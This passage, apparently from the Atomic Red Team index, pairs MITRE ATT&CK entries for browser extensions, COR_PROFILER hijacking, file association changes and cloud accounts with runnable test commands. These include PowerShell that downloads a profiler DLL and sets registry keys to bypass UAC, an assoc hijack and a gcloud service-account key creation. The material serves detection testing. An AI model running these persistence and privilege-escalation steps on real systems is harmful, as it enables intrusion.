        Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)

        Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.

        There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)
      name: Browser Extensions
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-27T19:56:54.161Z'
      created: '2018-01-16T16:13:52.465Z'
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - Chris Ross @xorrior
      - Justin Warner, ICEBRG
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Creation'
      x_mitre_detection: |-
        Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.

        Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.

        On macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
      identifier: T1176
    atomic_tests:
    - name: Chrome (Developer Mode)
      auto_generated_guid: 3ecd790d-2617-4abf-9a8c-4e8d47da9ee1
      description: Turn on Chrome developer mode and Load Extension found in the src
        directory
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to [chrome://extensions](chrome://extensions) and
          tick 'Developer Mode'.

          2. Click 'Load unpacked extension...' and navigate to
          [Browser_Extension](../t1176/src/)

          3. Click 'Select'
        name: manual
    - name: Chrome (Chrome Web Store)
      auto_generated_guid: 4c83940d-8ca5-4bb2-8100-f46dc914bc3f
      description: Install the "Minimum Viable Malicious Extension" Chrome extension
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend
          in Chrome

          2. Click 'Add to Chrome'
        name: manual
    - name: Firefox
      auto_generated_guid: cb790029-17e6-4c43-b96f-002ce5f10938
      description: 'Create a file called test.wma, with the duration of 30 seconds

'
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to [about:debugging](about:debugging) and
          click "Load Temporary Add-on"

          2. Navigate to [manifest.json](./src/manifest.json)

          3. Then click 'Open'
        name: manual
    - name: Edge Chromium Addon - VPN
      auto_generated_guid: 3d456e2b-a7db-4af8-b5b3-720e7c4d9da5
      description: 'Adversaries may use VPN extensions in an attempt to hide traffic
        sent from a compromised host. This will install one (of many) available VPNS
        in the Edge add-on store.

'
      supported_platforms:
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj
          in Edge Chromium

          2. Click 'Get'
        name: manual
  T1574.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: COR_PROFILER
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-26T16:09:58.920Z'
      created: '2020-06-24T22:30:55.843Z'
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_contributors:
      - Jesse Brown, Red Canary
      x_mitre_platforms:
      - Windows
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value #{file_name} -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '#{file_name}'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
  T1546.001:
    technique:
      created: '2020-01-24T13:40:47.282Z'
      modified: '2020-01-24T13:40:47.282Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
      description: "Adversaries may establish persistence by executing malicious content
        triggered by a file type association. When a file is opened, the default program
        used to open the file (also called the file association or handler) is checked.
        File association selections are stored in the Windows Registry and can be
        edited by users, administrators, or programs that have Registry access (Citation:
        Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or
        by administrators using the built-in assoc utility. (Citation: Microsoft Assoc
        Oct 2017) Applications can modify the file association for a given file extension
        to call an arbitrary program when a file with the given extension is opened.\n\nSystem
        file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>,
        for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler
        for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The
        various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>.
        For example: \n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*
        <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe
        values of the keys listed are commands that are executed when the handler
        opens the file extension. Adversaries can modify these values to continually
        execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
      name: Change Default File Association
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.001
        url: https://attack.mitre.org/techniques/T1546/001
      - external_id: CAPEC-556
        source_name: capec
        url: https://capec.mitre.org/data/definitions/556.html
      - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
          Retrieved July 26, 2016.
        source_name: Microsoft Change Default Programs
      - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
          Retrieved November 13, 2014.
        source_name: Microsoft File Handlers
      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
          7, 2018.
        source_name: Microsoft Assoc Oct 2017
      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
          8, 2018.
        source_name: TrendMicro TROJ-FAKEAV OCT 2012
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

        User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.

        Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1546.001
    atomic_tests:
    - name: Change Default File Association
      auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102
      description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon
        successful execution, cmd.exe will change the file association of .hta to
        notepad.exe. \n"
      supported_platforms:
      - windows
      input_arguments:
        target_extension_handler:
          description: txtfile maps to notepad.exe
          type: Path
          default: txtfile
        extension_to_change:
          description: File Extension To Hijack
          type: String
          default: ".hta"
        original_extension_handler:
          description: File Extension To Revert
          type: String
          default: htafile
      executor:
        command: 'assoc #{extension_to_change}=#{target_extension_handler}

'
        cleanup_command: 'assoc  #{extension_to_change}=#{original_extension_handler}

'
        name: command_prompt
        elevation_required: true
  T1136.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1136.003
        url: https://attack.mitre.org/techniques/T1136/003
      - source_name: Microsoft O365 Admin Roles
        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
      - source_name: Microsoft Support O365 Add Another Admin, October 2019
        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
      - source_name: AWS Create IAM User
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
        description: AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved
          January 29, 2020.
      - source_name: GCP Create Cloud Identity Users
        url: https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
        description: Google. (n.d.). Create Cloud Identity user accounts. Retrieved
          January 29, 2020.
      - source_name: Microsoft Azure AD Users
        url: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
        description: Microsoft. (2019, November 11). Add or delete users using Azure
          Active Directory. Retrieved January 30, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Account
      description: |-
        Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

        Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.
      id: attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-16T12:47:00.192Z'
      created: '2020-01-29T17:32:30.711Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: Collect usage logs from cloud user and administrator accounts
        to identify unusual activity in the creation of new accounts and assignment
        of roles to those accounts. Monitor for accounts assigned to admin roles that
        go over a certain threshold of known admins.
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      x_mitre_contributors:
      - Praetorian
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - IaaS
      - Google Workspace
      identifier: T1136.003
    atomic_tests:
    - name: AWS - Create a new IAM user
      auto_generated_guid: 8d1c2368-b503-40c9-9057-8e42f21c58ad
      description: 'Creates a new IAM user in AWS. Upon successful creation, a new
        user will be created. Adversaries create new IAM users so that their malicious
        activity do not interupt the normal functions of the compromised users and
        can remain undetected for a long time

'
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Username of the IAM user to create in AWS
          type: String
          default: atomicredteam
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

'
        prereq_command: 'cat ~/.aws/credentials | grep "default"

'
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

'
      executor:
        command: 'aws iam create-user --user-name #{username}

'
        cleanup_command: 'aws iam delete-user --user-name #{username}

'
        name: sh
        elevation_required: false
  T1078.004:
    technique:
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      description: |-
        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
      name: Cloud Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.004
        url: https://attack.mitre.org/techniques/T1078/004
      - source_name: AWS Identity Federation
        url: https://aws.amazon.com/identity/federation/
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
      - source_name: Google Federating GC
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
      - source_name: Microsoft Deploying AD Federation
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-03-16T12:45:15.399Z'
      created: '2020-03-13T20:36:57.378Z'
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

'
      supported_platforms:
      - google-workspace
      - windows
      - linux
      - macos
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: String
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: String
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1.json
      executor:
        name: gcloud
        elevation_required: false
        command: |
          gcloud auth login --no-launch-browser
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

'
      dependency_executor_name: gcloud
      dependencies:
      - description: 'Requires gcloud

'
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

'
  T1542.002:
    technique:
      created: '2019-12-19T20:21:21.669Z'
      modified: '2020-03-23T23:48:33.904Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
      description: |-
        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
      name: Component Firmware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.002
        url: https://attack.mitre.org/techniques/T1542/002
      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
          (S.M.A.R.T.). Retrieved October 2, 2018.
        source_name: SanDisk SMART
      - url: https://www.smartmontools.org/
        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
        source_name: SmartMontools
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Driver: Driver Metadata'
      - 'Firmware: Firmware Modification'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.

        Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_system_requirements:
      - Ability to update component device firmware from the host operating system.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1546.015:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.015
        url: https://attack.mitre.org/techniques/T1546/015
      - url: https://msdn.microsoft.com/library/ms694363.aspx
        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
          18, 2016.
        source_name: Microsoft Component Object Model
      - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
